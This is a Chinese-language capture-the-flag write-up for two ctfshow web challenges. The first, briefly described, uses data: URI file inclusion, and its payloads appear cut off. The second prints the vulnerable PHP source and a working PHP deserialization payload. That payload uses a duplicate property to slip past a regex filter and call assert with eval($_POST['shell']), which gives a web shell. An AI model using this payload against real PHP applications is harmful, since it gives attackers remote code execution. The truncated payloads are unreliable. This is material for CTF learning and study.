阅读 130

ctfshow_吃鸡杯__web_两题

  • warmup

 传入file,检查file后缀是不是php,是就包含

用data伪协议

file=data:text/plain,.php

 

 发现system()被禁用

glob看下文件

file=data:text/plain,.php

 

 file=data:text/plain,.php

 

 

 

  • cjbweb
php
error_reporting(0);
$safe="Hack me!";

class Hacker{
    public $name="var_dump";
    public $msg="Happy to cjb";
    public function __wakeup()
    {
        global $safe;
        if(preg_match(/\d|\/|,|\([^()]*\([^()]*\)/,$this->msg)){
            $this->name="var_dump";
            $this->msg="You look dangerous!!!";
            $safe="I think waf is enough.";
        }
        call_user_func($this->name,$this->msg);
    }
    public function __destruct()
    {
        global $safe;
        var_dump($safe);
    }
}

if(isset($_POST[info])){
    $info=$_POST[info];
    if(preg_match(/s:4:"name";s:\d:"v\w*"/,$info)){
        unserialize($info);
    }else{
        echo "I just love v";
    }
}else{
    $hacker=new Hacker();
    highlight_file(__FILE__);
}
string(8) "Hack me!"

看上去是反序列化,还有两个正则表达式

最终是传入参数,执行这个

call_user_func($this->name,$this->msg);

尝试序列化

 

 发现第二个,对name变量限定开头第一个字母是v

这里可以再加一个变量绕过,序列化结果变量数也要加1

O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:10:"phpinfo();";}

构造

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST[‘shell‘]);";}

即可拿到shell

 

原文:https://www.cnblogs.com/aninock/p/15150675.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐